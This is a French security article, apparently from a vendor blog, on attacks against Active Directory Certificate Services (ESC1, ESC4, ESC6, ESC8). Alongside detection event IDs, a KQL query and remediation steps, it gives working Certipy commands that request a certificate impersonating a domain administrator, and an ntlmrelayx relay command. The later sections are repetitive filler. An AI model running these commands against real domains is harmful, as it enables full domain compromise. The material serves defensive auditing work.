Attaques ADCS : ESC1 à ESC8 vers Domain Admin

Qu'est-ce qu'ADCS et Pourquoi est-ce Important ?

Active Directory Certificate Services (ADCS) est l'implémentation PKI de Microsoft intégrée dans Windows Server. Il émet des certificats numériques utilisés pour l'authentification, le chiffrement, la signature de code et la connexion par carte à puce dans le domaine.

Bien configuré, ADCS est une infrastructure invisible. Mal configuré, il devient l'une des surfaces d'attaque les plus puissantes d'Active Directory — permettant à n'importe quel utilisateur du domaine d'escalader vers Domain Admin en quelques minutes, de forger des authentifications en tant que n'importe quel utilisateur, et de persister via des backdoors basés sur des certificats qui survivent aux réinitialisations de mots de passe.

Les classes de vulnérabilités sont connues sous le nom ESC1 à ESC13, cataloguées par les chercheurs de SpecterOps en 2021. Cet article couvre les quatre plus couramment exploitées : ESC1, ESC4, ESC6 et ESC8.

Comment ca Fonctionne

ADCS émet des certificats basés sur des modèles de certificats — configurations qui définissent qui peut s'inscrire, à quoi le certificat peut servir, et quelles informations il peut contenir.

Le champ critique est le Subject Alternative Name (SAN). Un certificat avec un SAN spécifiant l'UPN d'un Domain Admin s'authentifie auprès de Kerberos en tant que ce Domain Admin — peu importe qui l'a demandé. Si un attaquant peut demander un certificat avec un SAN arbitraire, il contrôle l'authentification pour n'importe quel compte du domaine.

La Chaine d'Attaque

ESC1 — Modèle de Certificat Vulnérable (Abus SAN)

La vulnérabilité ADCS la plus courante et la plus critique. Un modèle est vulnérable ESC1 quand :

Les droits d'inscription sont accordés à des utilisateurs peu privilégiés (Domain Users)
Le modèle permet au demandeur de spécifier le SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
Le modèle est activé pour l'authentification client

# Enumérer les modèles vulnérables avec Certipy
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -vulnerable -stdout

# Demander un certificat en tant que Domain Admin via ESC1
certipy req -u [email protected] -p password -ca CORP-CA -template ModeleVulnerable \
    -upn [email protected] -dc-ip 10.10.0.1

# S'authentifier avec le certificat et obtenir un TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.0.1

ESC4 — Abus des ACL du Modèle

Le modèle lui-même a des ACL faibles qui permettent à un utilisateur peu privilégié de modifier sa configuration. L'attaquant modifie le modèle pour le rendre vulnérable ESC1, puis l'exploite.

ESC6 — Flag EDITF_ATTRIBUTESUBJECTALTNAME2

La CA elle-même a le flag EDITF_ATTRIBUTESUBJECTALTNAME2 défini, ce qui permet la spécification de SAN sur n'importe quelle demande de certificat — même les modèles qui ne l'autorisent pas explicitement.

# Vérifier si la CA a le flag activé
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -stdout | grep -i "editf"

ESC8 — Relay HTTP vers l'Inscription Web

L'interface d'inscription web de la CA (/certsrv) accepte l'authentification NTLM sur HTTP sans imposer HTTPS. Un attaquant peut relayer l'authentification NTLM d'un compte machine vers la CA.

# Configurer le relay vers l'inscription web CA
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template "Machine"

Détection

Event IDs Windows

Event ID	Source	Ce qu'il faut surveiller
4886	CA	Certificat demandé — surveiller les demandes de comptes inattendus
4887	CA	Certificat émis — corréler le demandeur avec le SAN du certificat
4768	DC - Security	TGT demandé via certificat — champ `Certificate Issuer` renseigné
4769	DC - Security	Ticket de service demandé après un TGT basé sur certificat

Requete SIEM (Elastic KQL)

event.code: "4887" AND
winlog.event_data.RequesterName: (* AND NOT winlog.event_data.SubjectUserName)

💡 Conseil : Activez Audit Certification Services dans la politique d'audit avancée. Sans cela, les événements 4886/4887 ne se déclenchent pas.

Remédiation

⚠️ Critique : Les mauvaises configurations ESC1 et ESC6 permettent une compromission totale du domaine en moins de 5 minutes depuis n'importe quel compte utilisateur. Priorisez-les immédiatement.

Corriger ESC1 — Supprimer le SAN Fourni par le Demandeur

# Dans la MMC Modèles de Certificats, trouver le modèle vulnérable
# Propriétés > onglet Nom du sujet > décocher "Fourni par le demandeur"
# Ou via ADSI Edit sur l'objet modèle :
# msPKI-Certificate-Name-Flag: supprimer CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

Corriger ESC6 — Supprimer le Flag EDITF

# Exécuter sur le serveur CA
certutil -config "Serveur-CA\Nom-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Corriger ESC8 — Imposer HTTPS et EPA sur l'Inscription Web

Configurer SSL sur le site d'inscription web CA (IIS)
Activer Extended Protection for Authentication (EPA) sur l'application IIS
Exiger HTTPS dans les liaisons IIS et supprimer HTTP

Comment EtcSec Détecte Cela

EtcSec effectue un audit ADCS complet à chaque scan, vérifiant chaque modèle de certificat et la configuration de la CA.

ESC1_VULNERABLE_TEMPLATE identifie les modèles de certificats avec le SAN fourni par le demandeur activé et des droits d'inscription peu privilégiés.

ESC4_VULNERABLE_TEMPLATE_ACL signale les modèles avec des ACL trop permissives permettant à des comptes non-admin de modifier les configurations.

ESC6_EDITF_FLAG vérifie chaque CA de votre environnement pour le flag dangereux EDITF_ATTRIBUTESUBJECTALTNAME2.

ESC8_HTTP_ENROLLMENT détecte les endpoints d'inscription web CA accessibles via HTTP sans protection étendue.

ℹ️ Note : EtcSec audite tous les modèles de certificats et configurations CA automatiquement. Lancez un audit gratuit pour découvrir les vulnérabilités ADCS dans votre environnement.

Articles connexes : Golden Ticket : Les Clés de Votre Domaine

Priorites de Revue

Attaques de Certificats ADCS : Comment ESC1 à ESC8 Mènent au Domain Admin doit etre traite comme une exposition reelle dans votre environnement Active Directory, pas comme un simple parametre isole. La premiere etape consiste a definir le vrai perimetre de revue : quels groupes privilegies, comptes de service, ACL, liens GPO, trusts, delegations, templates de certificats et postes d'administration sont concernes, quelles dependances metier existent, quels privileges sont exposes et quelles exceptions d'urgence ont ete ajoutees avec le temps. Ce cadrage evite une remediation superficielle, car le symptome technique est souvent plus petit que le rayon d'impact operationnel. En documentant le chemin complet entre configuration, privilege et usage reel, l'equipe peut prioriser des changements qui reduisent le risque sans bloquer l'activite.

Controles Adjacents a Revoir

Quand un attaquant arrive dans votre environnement Active Directory, il ne s'arrete presque jamais au premier point faible. Autour de Attaques de Certificats ADCS : Comment ESC1 à ESC8 Mènent au Domain Admin, il cherche en general a enchainer avec comptes privilegies obsoletes, imbrication dangereuse de groupes, delegations excessives, politiques de mot de passe faibles et abus d'ACL heritees. Cela signifie que la defense doit revoir non seulement la faiblesse principale, mais aussi toutes les dependances qui transforment un acces initial en persistance ou en escalation. Verifiez quelles identites, quels roles, quelles permissions et quelles hypotheses de confiance peuvent etre reutilises. Si le correctif ferme un seul objet mais laisse intactes les voies adjacentes, le risque reel change peu. Une revue des chaines d'abus est donc indispensable pour obtenir un resultat durable.

Preuves et telemetry a collecter

Une bonne reponse a Attaques de Certificats ADCS : Comment ESC1 à ESC8 Mènent au Domain Admin repose sur des preuves que l'ingenierie et la detection peuvent relire ensemble. Collectez Event IDs 4624, 4662, 4670, 4688, 4728, 4732, 4768, 4769, 5136, changements SYSVOL et activite des certificats, comparez les changements recents avec les fenetres de maintenance attendues et isolez les comptes ou objets qui ont change de comportement sans justification claire. Ces elements doivent permettre de repondre a trois questions simples : quand l'exposition est apparue, qui peut encore l'utiliser, et si des variantes similaires existent ailleurs dans votre environnement Active Directory. La collecte de preuves aide aussi a distinguer une dette technique ancienne d'un usage actif. Cette distinction est essentielle pour choisir le bon niveau d'urgence et la bonne sequence de remediation.

Faiblesses voisines a revoir

Tres peu d'environnements contiennent Attaques de Certificats ADCS : Comment ESC1 à ESC8 Mènent au Domain Admin seul. Dans la pratique, la meme zone du tenant ou de l'annuaire contient souvent aussi comptes privilegies obsoletes, imbrication dangereuse de groupes, delegations excessives, politiques de mot de passe faibles et abus d'ACL heritees, et ce sont ces faiblesses voisines qui determinent si l'exposition reste limitee ou devient critique. Revoyez les owners communs, les permissions heritees, les exceptions dupliquees et les raccourcis administratifs qui n'ont jamais ete retires. Verifiez si la meme logique de contournement a ete approuvee a plusieurs endroits, car cela revele souvent une faille de processus plus qu'un bug unique. Cette revue elargie donne une meilleure chance d'eliminer le chemin d'attaque complet.

Ordre de remediation recommande

Pour Attaques de Certificats ADCS : Comment ESC1 à ESC8 Mènent au Domain Admin, l'ordre de remediation doit privilegier la reduction de risque avant la perfection. Commencez par fermer les chemins qui augmentent le plus vite le privilege, puis verrouillez les objets ou identites a plus forte valeur, et ensuite seulement traitez les ecarts de hygiene secondaires. Utilisez tiering, nettoyage des delegations, revue ACL, hygiene des comptes de service, revue des permissions GPO et durcissement ADCS comme ensemble de controles cible. Chaque changement doit avoir un owner, une note de rollback et une etape de validation. Cette discipline evite que les programmes de correction s'arretent apres le premier gain technique. Si une refonte complete n'est pas possible tout de suite, formalisez des controles intermediaires et planifiez le travail structurel dans le prochain revue hebdomadaire des privileges et validation mensuelle des controles.

Lectures Connexes

Pour traiter ce sujet correctement, reliez-le a Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin, Chemins d'Attaque AD : Mauvaises Configurations en Chaîne, Mauvaises Configurations GPO : Vecteur d'Attaque AD, Supervision Sécurité AD : Événements Clés et Délégation Kerberos : Non Contrainte à RBCD. Cet ensemble montre comment les memes erreurs d'identite, de privileges et de configuration se combinent dans une revue reelle au lieu d'apparaitre comme des constats isoles.

Ces liens internes gardent la remediaton centree sur le chemin d'attaque complet et pas seulement sur un controle pris separement.

Questions a Trancher Avant la Validation Finale

Avant qu'une equipe considere un sujet identite comme vraiment traite, elle devrait pouvoir repondre a quelques questions simples avec des preuves concretes. Quel compte, quel groupe ou quel systeme reste aujourd'hui le chemin d'exception le plus sensible ? Quelle dependance operationnelle a empeche une remediation plus complete, et qui a accepte ce risque de facon explicite ? Quel controle compensatoire, quelle regle de supervision ou quelle frequence de revue couvre desormais l'exposition residuelle en production ? Ces questions comptent parce qu'une faiblesse d'identite revient souvent lorsque la note de remediaton est plus forte que la realite d'exploitation. Si l'organisation ne peut pas expliquer clairement le proprietaire, la dependance metier et la prochaine date de revue, le controle n'est generalement pas aussi stable qu'il en a l'air.

Preuves a Conserver pour la Revue Suivante

Les equipes les plus solides conservent juste assez de preuves pour rendre la revue suivante plus rapide et plus fiable. Cela inclut en general le proprietaire actuel de l'actif concerne, le changement de configuration exact qui a reduit le risque, la liste des exceptions encore acceptees et la preuve technique montrant que le nouvel etat est bien applique en production. Cette discipline est utile parce que les problemes d'identite et de privilege ne sont presque jamais des decouvertes uniques. Ils reviennent plutot via le turnover administrateur, la derive applicative ou des dependances historiques mal comprises au premier passage. En documentant a la fois la correction et la raison pour laquelle elle a ete acceptee, les equipes reduisent le risque de refaire la meme analyse a chaque cycle ou de reintroduire la meme faiblesse en corrigeant un autre sujet operationnel.